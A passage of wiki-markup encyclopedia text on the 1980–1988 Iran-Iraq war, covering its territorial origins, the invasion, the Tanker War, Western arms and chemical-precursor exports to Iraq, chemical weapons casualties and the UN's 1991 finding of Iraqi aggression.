More precisely, the origins of the Iran-Iraq war of 1980&amp;ndash;1988 go back to the question of sovereignty over the resource-rich province of [[Khuzestan]]. Khuzestan, home to Iran's [[Elamite Empire]], was an independent non-[[Semitic]] speaking kingdom whose capital was [[Susa]]. Khuzestan has, however, been attacked and occupied by various kingdoms of Mesopotamia (the precursors of modern Iraq) many times.

On [[18 December]] [[1959]], [[Abdul Karim Qassim|`Abd al-Karīm Qāsim]], who had just taken control over Iraq by a ''[[coup d'etat|coup d'état]]'', openly declared: &quot;''We do not wish to refer to the history of Arab tribes residing in Al-Ahwaz and Mohammareh [Khorramshahr]. The [[Ottoman Empire|Ottoman]]s handed over Mohammareh, which was part of Iraqi territory, to Iran.''&quot; The Iraqi regime's dissatisfaction over Iran's possession of [[petroleum|oil]]-rich Khuzestan province was not limited to rhetorical statements; Iraq started supporting [[secession]]ist movements in Khuzestan, and even raised the issue of its territorial claims in the next meeting of the [[Arab League]], without any success. Iraq showed reluctance in fulfilling existing agreements with Iran, especially after the death of [[Egypt]]ian President [[Gamal Abdel Nasser|Gamāl `Abd an-Nāsir]] and the rise of the [[Ba'ath Party|Ba`th Party]], when Iraq decided to take on the role of &quot;leader of the [[Arab world]]&quot;.

In 1969, the deputy prime minister of Iraq openly declared: &quot;''Iraq's dispute with Iran is in connection with Arabistan ([[Khuzestan]]) which is part of Iraq's soil and was annexed to Iran during foreign rule.''&quot; Soon Iraqi [[radio station]]s began exclusively broadcasting into &quot;Arabistan&quot;, encouraging Iranian Arabs and even [[Baloch|Balūchīs]] to revolt against Iran's central government. [[Basra]] TV stations even started showing Iran's Khuzestan province as part of Iraq's new province called 'Nasiriyyah', renaming all Iranian cities with [[Arabic language|Arabic]] names.

In 1971, Iraq broke off diplomatic relations with Iran after claiming sovereignty rights over the islands of [[Abu Musa]], [[Greater and Lesser Tunbs|Greater Tunb and Lesser Tunb]] in the [[Persian Gulf]], following the withdrawal of the British. Iraq then expelled 70,000 Iranians from Iraq after complaining to the Arab League, and the UN, without any success.

One of the factors contributing to hostility between the two powers was a dispute over full control of the [[Arvand/Shatt al-Arab|Shatt al-Arab]] waterway at the head of the Persian Gulf, an important channel for the oil exports of both countries. In [[1975]], [[United States]] [[United States Secretary of State|Secretary of State]] [[Henry Kissinger]] had sanctioned that [[Mohammad Reza Pahlavi|Mohammad Rezā' Pahlavī]], the [[Shah of Iran]], attack Iraq over the waterway, which was under Iraqi control at the time; soon afterward both nations signed the [[Algiers Accord]], in which Iraq made territorial concessions, including the waterway, in exchange for normalized relations.

Iraq had staged a battle against Iranian forces a year earlier in 1974, resulting in heavy casualties on both sides. Iran attempted to destabilize Iraq and encouraged [[Kurd]]ish nationalists to break up the country, in answer to Iraq's similar activities in Iran's [[Khuzestan]] province. Iran's embassy in [[London]] was subsequently attacked by Iraqi-sponsered terrorist forces a few months prior to the war in 1980, in what came to be known as The [[Iranian Embassy Siege]].

Iraq's president, [[Saddam Hussein]], was eagerly interested in elevating Iraq to a strong regional power. A successful invasion of Iran would make Iraq the dominating force in the Persian Gulf region and its lucrative oil trade. Such lofty ambitions were not that far-fetched. Severe officer purges (including several executions ordered by [[Sadegh Khalkhali|Sādeq Khālkhālī]], the post-revolution ''[[Sharia|sharī`ah]]'' ruler) and spare part shortages for Iran's American-made equipment had crippled Iran's once mighty [[military of Iran|military]]. The bulk of the Iranian military was made up of poorly armed, though committed, [[militia|militias]]. Iran had minimal defenses in the Arvand/Shatt al-`Arab river.

Saddām on numerous occasions alluded to the [[Islamic conquest of Iran]] in propagating his ''anti-Persian'' position against Iran. For example, on [[02 April]] [[1980]], a half-year before the outbreak of the war, in a visit by Saddām  to al-Mustansiriyyah University in Baghdad, drawing parallels to the 7th-Century defeat of Persia in the [[Battle of al-Qādisiyyah]] he announced:

:&quot;In your name, brothers, and on behalf of the Iraqis and Arabs everywhere we tell those [Persian] cowards and dwarfs who try to avenge Al-Qadisiyah that the spirit of Al-Qadisiyah as well as the blood and honor of the people of Al-Qadisiyah who carried the message on their spearheads are greater than their attempts.&quot; (See Saddām, E3) 

The aftermath of the [[Iranian Revolution]] of [[1979]] was central to the conflict. The [[Ayatollah|Āyat-Allāh]] [[Ruhollah Khomeini|Rūh-Ollāh Khomaynī]] was threatening to export Islamic revolution to the rest of the [[Middle East]], even though Iran was hardly in any position to do so militarily, for most of the Shah's army had already been disbanded. The Khomeinist camp despised Iraq's Ba`thist secularism in particular, and believed that the oppressed [[Shi'a Islam|Shī`īs]] in Iraq, [[Saudi Arabia]], and [[Kuwait]] could follow the Iranian example and turn against their governments. At the same time the revolution in Iran, the destabilization of the country and its alienation from the [[Western world|West]] made it a tempting target to the expansionist [[Saddam Hussein|Saddām Husayn]]. In particular he felt that Iranian Sunni citizens would rather join a powerful Sunni-led Iraq than remain in the Shia dominated Iran.

Thus both sides entered the war believing that citizens of the southern portions of the enemy's country - Sunnīs in Iran and Shī`īs in Iraq - would join the opposing forces. Neither seems to have fully appreciated the powers of nationalism over historically clan-centered differences, nor the power of the central state apparatus who controlled the press. In the end both were surprised to find their expected allies turning against them as invaders.

The [[UN Secretary General]] report dated [[9 December]] [[1991]] (S/23273) explicitly states &quot;Iraq's aggression against Iran&quot; in starting the war and breaching International security and peace. (See also &quot;Who started the Iran-Iraq war?&quot; by R.K. Ramazani, [http://www.student.virginia.edu/~vjil/ ''The Virginia Journal of International Law''] 33, Fall 1992, pp. 69&amp;ndash;89)

==Invasion and repulse==
[[image:Jang.jpg|right|thumb|280px|The eight-year Iran-Iraq war resulted in [[USD]]$350 billion in damage in Iran alone.]] The two nations severed diplomatic relations in June 1980, and sporadic border clashes increased. On [[September 17]], Iraq declared the Shatt al-Arab part of its territory. [[Iraq]] launched a full-scale invasion of [[Iran]] on [[September 22]] [[1980]], claiming as a pretext, an Iranian assassination attempt on [[Foreign Minister]] [[Tariq Aziz]].

The objectives of Iraq's invasion of Iran were:
#Acquisition of the [[Arvand/Shatt al-Arab]] waterway as part of Iraqi territory (Iraq's only port connection to The [[Persian Gulf]]).
#Acquisition of the three islands of [[Abu Musa]] and the [[Greater and Lesser Tunbs]], on the unilateral behalf of the [[UAE]].
#Annexing [[Khuzestan]] (or &quot;Arabistan&quot;) as part of Iraqi territory.

The [[blitzkrieg|surprise offensive]] advanced quickly against the still disorganized [[military of Iran|Iranian forces]], advancing on a wide front into Iranian territory along the [[Mehran]]-[[Khorramabad]] axis in Central Iran and towards Ahvaz in the oil-rich southern province of [[Khuzestan]].

[[Image:Jang2.jpg|right|thumb|Iranian soldiers protecting their territory.]]
Iraq encountered unexpected resistance, however. Rather than turning against the Ayatollah's government as exiles had promised, the people of Iran rallied around their revolution and mounted far stiffer resistance; an estimated 100,000 volunteers arrived at the front by November. An Iraqi Air Force attack on Iranian airfields was ineffective, and the Iraqis soon found the Iranian military was not nearly as depleted as they had thought. In June of [[1982]], a successful Iranian counter-offensive recovered the areas previously lost to Iraq.

Most of the fighting for the rest of the war occurred on Iraqi territory, although some have interpreted the Iraqi withdrawal as a [[tactics|tactical]] ploy by the Iraqi military. By fighting just inside Iraq, Saddām Husayn could rally popular Iraqi patriotism. The Iraqi army could also fight on its own territory and in well- established defensive positions. The Iranians continued to employ unsophisticated human wave attacks, while Iraqi soldiers remained, for the most part, in a defensive posture.

[[image:Saddam7.jpg|thumb|left|Upon invading Iran on [[22 September]] [[1980]], then-Iraqi President Saddām Husayn boasted he would be in [[Tehran]] in 3 days.]]

Iraq offered a cessation of hostilities in [[1982]], but Iran's insistence from July 1982 onward to destroy the Iraqi government prolonged the conflict for another six years of static warfare.

Newly declassified US intelligence (SNIE 34/36.2-82 available at http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB167/) explores a number of documents produced by U.S. agencies over the last thirty years concerning the Iraqi regime's policies and activities directed at maintaining itself in power and eliminating or neutralizing opposition to the regime.

==The Tanker War and U.S. entanglement==
The [[United States]] had been wary of the [[Tehran]] regime since the [[Iranian Revolution]], not least because of the detention of its Tehran [[embassy]] staff in the 1979&amp;ndash;81 [[Iran hostage crisis]]. Starting in 1982 with Iranian success on the battlefield, the U.S. made its backing of Iraq more pronounced, supplying it with intelligence, economic aid, normalizing relations with the government (broken during the 1967 [[Six-Day War]]), and allegedly also supplying weapons [http://www.iranchamber.com/history/articles/arming_iraq.php].

Starting in 1981, both Iran and Iraq attacked [[oil tanker]]s and merchant ships, including those of neutral nations, in an effort to deprive the opponent of trade. After repeated Iraqi attacks on Iran's main exporting facility on [[Bushehr Province#Kharg Island (Khark Island)|Khark Island]], Iran attacked a Kuwaiti tanker near [[Bahrain]] on [[May 13]] [[1984]], and a [[Saudi Arabia|Saudi]] tanker in Saudi waters on [[May 16]]. Attacks on ships of noncombatant nations in the Persian Gulf sharply increased thereafter, and this phase of the war was dubbed the &quot;Tanker War.&quot;

[[Lloyd's of London]], a British [[insurance]] [[market]], estimated that the Tanker War damaged 546 commercial vessels and killed about 430 civilian mariners. The largest of attacks were directed by Iran against Kuwaiti vessels, and on [[November 1]] [[1986]], Kuwait formally petitioned foreign powers to protect its shipping. The [[Soviet Union]] agreed to charter tankers starting in [[1987]], and the United States offered to provide protection for tankers [[flag of convenience|flying the U.S. flag]] on [[March 7]] [[1987]] ([[Operation Earnest Will]] and [[Operation Prime Chance]]). Under [[international law]], an attack on such ships would be treated as an attack on the U.S., allowing the U.S. to retaliate militarily. This support would protect ships headed to Iraqi ports, effectively guaranteeing Iraq's revenue stream for the duration of the war.

An Iraqi plane accidentally attacked the ''[[USS Stark (FFG-31)|USS Stark]]'', a [[Oliver Hazard Perry class|''Perry'' class]] [[frigate]] on [[May 17]], killing 37 and injuring 21. But U.S. attention was on isolating Iran; it criticized Iran's mining of international waters, and sponsored [[Wikisource:UN Security Council Resolution 598|UN Security Council Resolution 598]], which passed unanimously on [[July 20]], under which it skirmished with Iranian forces. In [[October]] 1987, the U.S. attacked Iranian oil platforms in retaliation for an Iranian attack on the U.S.-flagged tanker ''Sea Isle City''.

On [[April 14]] [[1988]], the frigate [[USS Samuel B. Roberts (FFG-58)|USS ''Samuel B. Roberts'']] was badly damaged by an Iranian mine. U.S. forces responded with [[Operation Praying Mantis]] on [[April 18]], the [[United States Navy]]'s largest engagement of surface warships since [[World War II]]. Two Iranian ships were destroyed, and an American helicopter was shot down, killing the two pilots.

In the course of these escorts by the U.S. Navy, the cruiser [[USS Vincennes (CG-49)|USS ''Vincennes'']] shot down [[Iran Air Flight 655]] with the loss of all 290 passengers and crew on [[July 3]] [[1988]]. The [[Federal Government of the United States|American government]] claimed that the airliner had been mistaken for an Iranian [[F-14 Tomcat]], and that the Vincennes was operating in international waters at the time and feared that it was under attack. It has since emerged, however, that the Vincennes was in fact in Iranian territorial waters, and that the Iranian passenger jet was turning away and increasing altitude after take-off. The U.S. paid compensation but never apologised.

Through all of this members of the [[Reagan Administration]] had, at the same time, also been secretly selling weapons to Iran; first indirectly (possibly through [[Israel]]) and then directly. It claimed that the administration hoped Iran would, in exchange, persuade several radical groups to release Western hostages. (for details see the [[Iran-Contra Affair]]). The money from the sales was channeled to equip the [[Nicaragua]]n ''contrarrevolucionarios'' (''[[Contras]]''), right-wing rebels.

==&quot;War of the Cities&quot;==
Toward the end of the war, the land conflict regressed into stalemate largely because neither side had enough self-propelled artillery or airpower to support ground advances.

The relatively professional Iraqi armed forces could not make headway against the far more numerous Iranian infantry. But the Iranians were overmatched in towed and self-propelled artillery, which left their tanks and troops vulnerable. What followed was a blood bath with the Iranians substituting infantry for artillery. Both sides turned to more brutal weapons and tactics.

Iraq's air force soon began strategic bombing against Iranian cities, chiefly Tehran, starting in 1985. In response to these, Iran began launching SS-1 &quot;[[Scud]]&quot; missiles against [[Baghdad]]. Iraq did not respond in kind against Tehran until early 1988, able to deploy only air raids against the Iranian capital up until that point. In October 1986, Iraqi aircraft attacked civilian passenger trains and aircraft, including an [[Iran Air]] Boeing 737 airliner unloading passengers at [[Shiraz International Airport]]. 34 elementary and high schools were attacked by Iraqi warplanes in 1986 alone, killing hundreds of children. ''(source: [[IRNA]] archives)''

In retaliation for the successful Iranian ''Karbala-5'' operation in the fronts, during the course of 42 days, Iraq attacked 65 cities in 226 sorties, bombing civilian neighborhoods. Eight Iranian cities came under the attack of Iraqi missiles. Sixty-five children were killed during bombings in an elementary school in [[Borujerd]] alone. These events became known as &quot;the war of the cities&quot;. ''(Source: ibid.)''

The war saw the use of [[chemical weapon]]s, especially [[tabun (nerve gas)|tabun]], by Iraq. International antipathy to the Tehran regime meant Iraq suffered few repercussions despite these attacks. The UN eventually condemned Iraq for using chemical weapons against Iran, after the war. Chemical weapons had not been used in any major war since World War I.

Iraq financed, with foreign assistance, the purchase of more technologically advanced weapons, and built more modern, well-trained armed forces. After setbacks on the battlefield it offered to return to the 1975 border. Iran was internationally isolated and facing rising public discontent. Finally, a cease-fire was agreed to on [[August 20]] [[1988]].

==Arming the combatants==
Iraq's [[military of Iraq|army]] was primarily armed with weaponry it had purchased from the [[Soviet Union]] and its [[satellite state|satellites]] in the preceding decade. During the war, it purchased billions of dollars worth of advanced equipment from the Soviets and the [[France|French]] [http://news.bbc.co.uk/2/hi/middle_east/3324053.stm], as well as from the [[People's Republic of China]], [[Egypt]], [[Germany]], and other sources (including [[Europe]] and facilities for making and/or enhancing chemical weapons). [[Germany]] [http://www.dw-world.de/dw/article/0,,716376,00.html] along with other Western countries (among them [[United Kingdom]], [[France]], [[Spain]](Explosivos Alaveses), [[Italy]] and the [[United States]]) provided Iraq with [[biological weapon|biological]] and [[chemical weapon]]s technology and the precursors to nuclear capabilities. Much of Iraq's financial backing came from other [[Arab]] states, notably oil-rich [[Kuwait]] and [[Saudi Arabia]].

The source of Iraqi arms purchases between 1970 and 1990 (10 % of the world market during this period) are estimated to be:

&lt;center&gt;
{| border=&quot;1&quot;
! Suppliers !!  in Billions (1985 $US) !! % of total
|-
|align=&quot;center&quot; |[[Soviet Union]]
|align=&quot;center&quot; |19.2
|align=&quot;center&quot; |61
|-
|align=&quot;center&quot; |[[France]]
|align=&quot;center&quot; |5.5
|align=&quot;center&quot; |18
|-
|align=&quot;center&quot; |[[People's Republic of China]]
|align=&quot;center&quot; |1.7
|align=&quot;center&quot; |5
|-
|align=&quot;center&quot; |[[Brazil]]
|align=&quot;center&quot; |1.1
|align=&quot;center&quot; |4
|-
|align=&quot;center&quot; |[[Egypt]]
|align=&quot;center&quot; |1.1
|align=&quot;center&quot; |4
|-
|align=&quot;center&quot; |Other countries
|align=&quot;center&quot; |2.9
|align=&quot;center&quot; |6
|-
|align=&quot;center&quot; |'''Total'''
|align=&quot;center&quot; |'''31.5'''
|align=&quot;center&quot; |'''100.0'''
|}&lt;/center&gt;

Iran's foreign supporters included [[Syria]] and [[Libya]], through which it obtained Scuds. It purchased weaponry from [[North Korea]] and the [[People's Republic of China]], notably the [[Silkworm missile|Silkworm antiship missile]]. Iran acquired weapons and parts for its Shah-era U.S. systems through covert arms transactions from officials in the [[Reagan Administration]], first indirectly through [[Israel]] and then directly. It was hoped Iran would, in exchange, persuade several radical groups to release Western hostages, though this did not result; proceeds from the sale were diverted to the [[Nicaragua]]n [[Contras]] in what became known as the [[Iran-Contra Affair]].

===Aircraft===
&lt;!-- Unsourced image removed: [[Image:iraqi_airforce1.jpg|thumb|right|Iraqi Aircraft attacking Iranian territory.]] --&gt;
During war, Iran operated U.S.-manufactured [[F-4 Phantom II|F-4 Phantom]] and [[F-5 Freedom Fighter]] fighters, as well as [[AH-1 Cobra]] attack [[helicopter]]s. It also operated a number of [[F-14 Tomcat]] fighters, which, according to a few sources, proved devastating to the Iraqis in the early phases of the war. However, due to the Iranian government's estrangement, spare parts were difficult to obtain. Despite this the Iranians managed to maintain a constant presence with their Tomcats during the entire conflict, mostly due to a combination of spare parts acquired on the black market and parts made in Iran. These were supported by [[KC-135 Stratotanker|KC-135]]s, a [[aerial refueling|refueling tanker]] based on the [[Boeing 707]].[http://www.globalsecurity.org/military/world/iran/airforce.htm]

Iraq's air force used Soviet weapons and reflected Soviet training, although it expanded and upgraded its fleet considerably as the war progressed. It conducted strategic bombing using [[Tupolev Tu-16]] Badgers. Its fighters included the [[Mikoyan-Gurevich MiG-21]], later supplemented by large purchases of [[Sukhoi Su-17|Sukhoi Su-22]]s and French [[Dassault Mirage F1]]s. It also deployed the Anglo-French [[Aérospatiale Gazelle]] attack helicopter and the [[Exocet]] antiship missile.[http://www.globalsecurity.org/military/world/iraq/airforce.htm]

===U.S.-Iraqi arms transfers in the war===
[[image:Saddam_rumsfeld.jpg|thumb|right|[[Donald Rumsfeld]] meeting Saddām on [[19 December]] – [[20 December]] [[1983]]. Rumsfeld visited again on [[24 March]] [[1984]]; the same day the UN released a report that Iraq had used [[Mustard gas|mustard]] and [[Tabun (nerve gas)|Tabun]] nerve gas against Iranian troops.  The ''NY Times'' reported from Baghdad on [[29 March]] [[1984]], that &quot;American diplomats pronounce themselves satisfied with Iraq and the U.S., and suggest that normal diplomatic ties have been established in all but name.&quot; [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB82/ NSA Archive Source] ]]
Western support for Iraq during the Iran-Iraq war has clearly been established. It is no secret that the [[United States]], the [[Soviet Union]], [[West Germany]], [[France]], many western companies, and [[United Kingdom|Britain]] provided military support and even components of Iraq's Weapons of Mass Destruction program. The role the United States played in the war against Iran however, although present to some degree, is not as well known.

After the revolution, with the Ayatollahs in power and levels of enmity between Iran and the U.S. running high, early on during the Iran-Iraq war, [[realpolitik]]ers in Washington came to the conclusion that Saddām was the lesser of the two evils, and hence efforts to support Iraq became the order of the day, both during the long war with Iran and afterward. This led to what later became known as the ''Iraq-gate'' scandals.

Much of what Iraq received from the West, however, were not arms per se, but so-called dual-use technology&amp;mdash; mainframe computers, armored ambulances, helicopters, chemicals, and the like, with potential civilian uses as well as military applications. It is now known that a vast network of companies, based in the West, fed Iraq's warring capabilities right up until August 1990, when Saddam invaded Kuwait [http://www.cjr.org/archives.asp?url=/93/2/iraqgate.asp].

The Iraq-gate scandal revealed that an [[Atlanta, Georgia|Atlanta]] branch of Italy's largest bank, Banca Nazionale del Lavoro, relying partially on U.S. taxpayer-guaranteed loans, funneled $5 billion to Iraq from 1985 to 1989. In August 1989, when [[Federal Bureau of Investigation|FBI]] agents finally raided the Atlanta branch of BNL, the branch manager, Christopher Drogoul, was charged with making unauthorized, clandestine, and illegal loans to Iraq&amp;mdash;some of which, according to his indictment, were used to purchase arms and weapons technology. 

Beginning in September, 1989, the ''[[Financial Times]]'' laid out the first charges that BNL, relying heavily on U.S. government-guaranteed loans, was funding Iraqi chemical and nuclear weapons work. For the next two and a half years, the ''Financial Times'' provided the only continuous newspaper reportage (over 300 articles) on the subject. Among the companies shipping militarily useful technology to Iraq under the eye of the U.S. government, according to the ''Financial Times'', were [[Hewlett-Packard]], [[Tektronix]], and [[Matrix Churchill]], through its [[Ohio]] branch [http://www.cjr.org/archives.asp?url=/93/2/iraqgate.asp].

Even before the [[Persian Gulf War]] started in 1990, the ''Intelligencer Journal'' of Pennsylvania in a string of articles reported: &quot;If U.S. and Iraqi troops engage in combat in the Persian Gulf, weapons technology developed in Lancaster and indirectly sold to Iraq will probably be used against U.S. forces ... And aiding in this ... technology transfer was the Iraqi-owned, British-based precision tooling firm Matrix Churchill, whose U.S. operations in Ohio were recently linked to a sophisticated Iraqi weapons procurement network.&quot; [http://www.cjr.org/archives.asp?url=/93/2/iraqgate.asp]

Aside from the ''New York Times'', the ''Los Angeles Times'', and ABC's Ted Koppel, the Iraq-gate story never picked up much steam, even though The U.S. Congress became involved with the scandal. [http://www.fas.org/spp/starwars/congress/1992/h920519l.htm FAS report]

In December 2002, Iraq's 1,200 page Weapons Declaration revealed a list of Western corporations and countries&amp;mdash;as well as individuals&amp;mdash;that exported chemical and biological materials to Iraq in the past two decades. Many American names were on the list. Alcolac International, for example, a [[Maryland]] company, transported thiodiglycol, a mustard gas precursor, to Iraq. A [[Tennessee]] manufacturer contributed large amounts of a chemical used to make sarin, a nerve gas implicated in so-called (Persian) Gulf War Syndrome. A [http://www.laweekly.com/ink/03/23/news-crogan.php full list] of those companies and their involvements in Iraq [http://www.laweekly.com/ink/03/18/features-crogan1.php] [http://www.laweekly.com/ink/03/18/features-crogan2.php].

On [[25 May]] [[1994]], The [[U.S. Senate Committee on Banking, Housing, and Urban Affairs|U.S. Senate Banking Committee]] released a report in which it was stated that ''pathogenic (meaning ''disease producing''), toxigenic (meaning ''poisonous'') and other biological research materials were exported to Iraq, pursuant to application and licensing by the U.S. Department of Commerce.'' It added: ''These exported biological materials were not attenuated or weakened and were capable of reproduction.'' [http://www.gulfwarvets.com/arison/banking.htm]

The report then detailed 70 shipments (including anthrax bacillus) from the United States to Iraqi government agencies over three years, concluding ''It was later learned that these microorganisms exported by the United States were identical to those the UN inspectors found and recovered from the Iraqi biological warfare program.'' See another list [http://cns.miis.edu/research/wmdme/flow/iraq/seed.htm here], and [http://groups.msn.com/exposureofthetruth/biologicalssoldtoiraq.msnw another here].

843 companies has been listed as being involved in the arming of Iraq. [http://www.cooperativeresearch.org/context.jsp?item=us_support_of_iraq_wmd_843] Twenty-four U.S. firms exported arms and materials to Baghdad [http://www.iranchamber.com/history/articles/arming_iraq.php].

[[Donald W. Riegle, Jr.|Donald Riegle]], Chairman of the [[U.S. Senate Committee on Banking, Housing, and Urban Affairs|Senate committee]] that made the report, said, &quot;''UN inspectors had identified many United States manufactured items that had been exported from the United States to Iraq under licenses issued by the Department of Commerce, and [established] that these items were used to further Iraq's chemical and nuclear weapons development and its missile delivery system development programs.''&quot; He added, &quot;''the executive branch of our government approved '''771''' different export licenses for sale of dual-use technology to Iraq. I think that is a devastating record.''&quot;

The [[Centers for Disease Control and Prevention|U.S. Centers for Disease Control]] sent Iraq 14 agents &quot;with biological warfare significance,&quot; including West Nile virus, according to Riegle's investigators [http://www.sptimes.com/2003/03/16/Perspective/How_Iraq_built_its_we.shtml] [http://www.tallahassee.com/mld/tallahassee/news/politics/4186725.htm].

The [[Simon Wiesenthal Center]], a [[Jewish]] organization dedicated to preserving the memory of [[the Holocaust]], released a list of U.S. companies and their exports to Iraq. See page [http://www.sfbg.com/News/32/21/images/b11.gif 11] of this report: [http://www.sfbg.com/News/32/21/images/b1.gif p1] [http://www.sfbg.com/News/32/21/images/b2.gif p2] [http://www.sfbg.com/News/32/21/images/b3.gif p3] [http://www.sfbg.com/News/32/21/images/b4.gif p4] [http://www.sfbg.com/News/32/21/images/b5.gif p5] [http://www.sfbg.com/News/32/21/images/b6.gif p6] [http://www.sfbg.com/News/32/21/images/b7.gif p7] [http://www.sfbg.com/News/32/21/images/b8.gif p8] [http://www.sfbg.com/News/32/21/images/b9.gif p9] [http://www.sfbg.com/News/32/21/images/b10.gif p10] [http://www.sfbg.com/News/32/21/images/b11.gif p11] 

A [http://www.cooperativeresearch.org/timeline.jsp?timeline=us_support_of_iraq_wmd timeline] of U.S. support for Saddām against Iran. Another [http://www.casi.org.uk/info/usdocs/usiraq80s90s.html timeline].  For the Statement of Henry B. Gonzalez, Chairman, House Committee on Banking, Finance, and Urban Affairs on Iraq-gate, see links given on [http://www.sfbg.com/News/32/21/Features/iraq.html this page].

More sources:
* [http://foi.missouri.edu/terrorintelligence/ussentgerms.html University of Missouri School of Journalism database]
* [http://www.iraqwatch.org/perspectives/Sussexreport.htm University of Sussex report]
* [http://www.globalpolicy.org/security/issues/iraq/2001/1022iraq.htm A Global Policy Forum Report]
* [http://www.gulfweb.org/bigdoc/report/riegle1.html Text of the U.S. Senate Riegle Report]
* [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB82/ NSA Archives]
* [http://www.smh.com.au/articles/2002/08/18/1029114048796.html?oneclick=true Sydney Morning Herald report]

==Weapons of Mass Destruction==
[[Image:Iran-iraq-war-gas-masks.JPG|right|thumb|Iran suffered heavy casualties from Saddām's chemical weapons.]]With more than 100,000 Iranian victims{{ref|1}} of Iraq's chemical and biological weapons during the eight-year war, [[Iran]] is, after Japan, one of the world's top afflicted countries by [[Weapons of Mass Destruction]].

The official estimate does not include the civilian population contaminated in bordering towns or the children and relatives of veterans, many of whom have developed blood, lung and skin complications, according to the Organization for Veterans of Iran.

Nerve gas agents killed about 20,000 Iranian soldiers immediately, according to official reports. Of the 90,000 survivors, some 5,000 seek medical treatment regularly and about 1,000 are still hospitalized with severe, chronic conditions. Many others were hit by mustard gas.

Furthermore, 308 Iraqi missiles were launched at population centers inside Iranian cities between 1980 and 1988 resulting in 12,931 casualties.{{ref|1}}

There is great resentment in Iran that the international community helped Iraq develop its chemical weapons arsenal and armed forces, and also that the world did nothing to punish Iraq for its use of chemical weapons against Iran throughout the war &amp;mdash; particularly since the US and other western powers later felt obliged to oppose the Iraqi invasion of Kuwait and eventually invade Iraq itself to remove Hussein.

Also see [[Halabja poison gas attack|The Chemical Attack on Halabja]].

Further reading on surviving veterans of these weapons:
*[http://www.sc-ems.com/ems/NuclearBiologicalChemical/MedicalAspectsofNBC/chapters/chapter_7.htm A report on Iranian victims of Iraqi blister agents], ''Medical Management of Chemical Casualties''
* [http://www.nj.com/specialprojects/index.ssf?/specialprojects/mideaststories/me1209.html The New Jersey Star Ledger, report]
* [http://www.thestar.co.za/index.php?fArticleId=39470 The South Africa Star, report]
* [http://www.commondreams.org/headlines03/0213-05.htm The NY Times report]
* [http://msnbc.msn.com/id/3068535/site/newsweek/ MSNBC report]
* [http://www.netiran.com/?fn=artd(1585) Report: Iranian WMD Veterans sue Germany]
* [http://www.payvand.com/news/00/nov/1108.html Vets suing the U.S.]
* [http://www.npr.org/templates/story/story.php?storyId=1742878 NPR report on Iranian WMD veterans] (audio)
* [http://www.chronicillnet.org/PGWS/tuite/IRMED/IRANTOC.htm Medical reports]

{{note|1}} Center for Documents of The Imposed War, Tehran.

==Human Wave Attacks in the Iran-Iraq War==
Many people claim that the Iran-Iraq conflict spawned a particularly gruesome variant of the &quot;human wave&quot; attack. The Iranian clergy, with no professional military training, were slow to adopt and apply professional military doctrine. The country at that time lacked sufficient equipment to breach Iraqi minefields and were not willing to risk their small tank force. Therefore, [[Islamic Revolutionary Guards Corps|Pasdaran]] forces and [[Basij]] volunteers were often used to sweep over minefields and entrenched positions developed by the more professional Iraqi military. Allegedly, unarmed human wave tactics involving children as young as 9 were employed. One unnamed East European journalist claims to have seen &quot;tens of thousands of children, roped together in groups of about 20 to prevent the faint-hearted from deserting, make such an attack.&quot;[http://countrystudies.us/iraq/104.htm]

There has been a suggestion that girls were more commonly used for frontline mine clearance, and boys for unarmed &quot;assaults.&quot; Reliable firsthand accounts of the use of children in human wave attacks are rare, however. The most serious contemporary firsthand account recently surfaced at the end of an article[http://www.pbs.org/cringely/pulpit/pulpit20041104.html] by the technology journalist [[Robert X. Cringely]], who relates the experience of a trip to the front for an unconnected ''[[Penthouse magazine|Penthouse]]'' magazine assignment. In recent years, however, Cringely's credibility has been questioned, after the ''San Francisco Chronicle'' and [[Stanford University]] revealed in 1998 that Cringely falsely claimed to hold a Ph.D. from Stanford University. Cringely also falsely claimed to be a former Stanford professor. ''[http://daily.stanford.org/Daily98-99/11-11-1998/news/tempo?page=content&amp;id=4462&amp;repository=0001_article (The Stanford Daily, [[11 November]] [[1998]])]''

==Aftermath== 
&lt;!--Image of unknown copyright status removed. [[Image:Iraqibaghdadi.jpg|frame|The [[Hands of Victory]] triumphal arch in Baghdad has 5000 helmets of killed Iranian soldiers piled at the base of the swords, and alludes to the [[Islamic conquest of Iran]] where the [[Persian empire]] fell to invading Arab forces.]]--&gt;
The war was disastrous for both countries, stalling economic development and disrupting oil exports. It cost Iran an estimated 1.5 million casualties (1, p. 206), and $350 billion (1, p. 1). [[Iraq]] was left with serious debts to its former [[Arab]] backers, including US$14 billion loaned by [[Kuwait]], a debt which contributed to [[Saddam Hussein|Saddām's]] [[1990]] decision to [[Persian Gulf War|invade]].

Much of both sides' oil industry was damaged in [[air raid]]s.	

The war left the [[border]]s unchanged. Two years later, as war with the western powers loomed, Saddām recognized Iranian rights over the eastern half of the [[Shatt al-Arab|Shatt al-`Arab]], a reversion to the status quo ante bellum that he had repudiated a decade earlier.

The war was extremely costly, one of the deadliest wars since the [[Second World War]]. (Conflicts since [[1945]] which have surpassed the Iran-Iraq War in terms of casualties include the [[Vietnam War]], [[Korean War]], the [[Second Sudanese Civil War]], and the [[Second Congo War|war in the Democratic Republic of the Congo]]).  Many of the prisoners taken by both sides weren't released until up to 10 years after the conflict was over.

==Final ruling==
[[Image:Shohada hoveizeh.JPG|thumb|right|An Iranian mother mourns the loss of her son in a war cemetery in [[Hoveizeh]].]]
On [[9 December]] [[1991]], the UN Secretary-General reported the following to the UN Security Council:

&lt;blockquote&gt;

&lt;p&gt;That Iraq's explanations do not appear sufficient or acceptable to the international community is a fact. Accordingly, the outstanding event under the violations referred to is the attack of [[22 September]] [[1980]], against Iran, which cannot be justified under the charter of the United Nations, any recognized rules and principles of international law or any principles of international morality and entails the responsibility for the conflict.

&lt;p&gt;Even if before the outbreak of the conflict there had been some encroachment by Iran on Iraqi territory, such encroachment did not justify Iraq's aggression against Iran&amp;mdash;which was followed by Iraq's continuous occupation of Iranian territory during the conflict&amp;mdash;in violation of the prohibition of the use of force, which is regarded as one of the rules of jus cogens.

&lt;p&gt;On one occasion I had to note with deep regret the experts' conclusion that &quot;chemical weapons ha[d] been used against Iranian civilians in an area adjacent to an urban centre lacking any protection against that kind of attack&quot; (s/20134, annex). The Council expressed its dismay on the matter and its condemnation in resolution 620 (1988), adopted on [[26 August]] [[1988]].

&lt;/blockquote&gt;

==List of successful Iranian operations during the war==
#[[27 September]] [[1981]]: ''Operation Thamen-ol-A'emeh''.
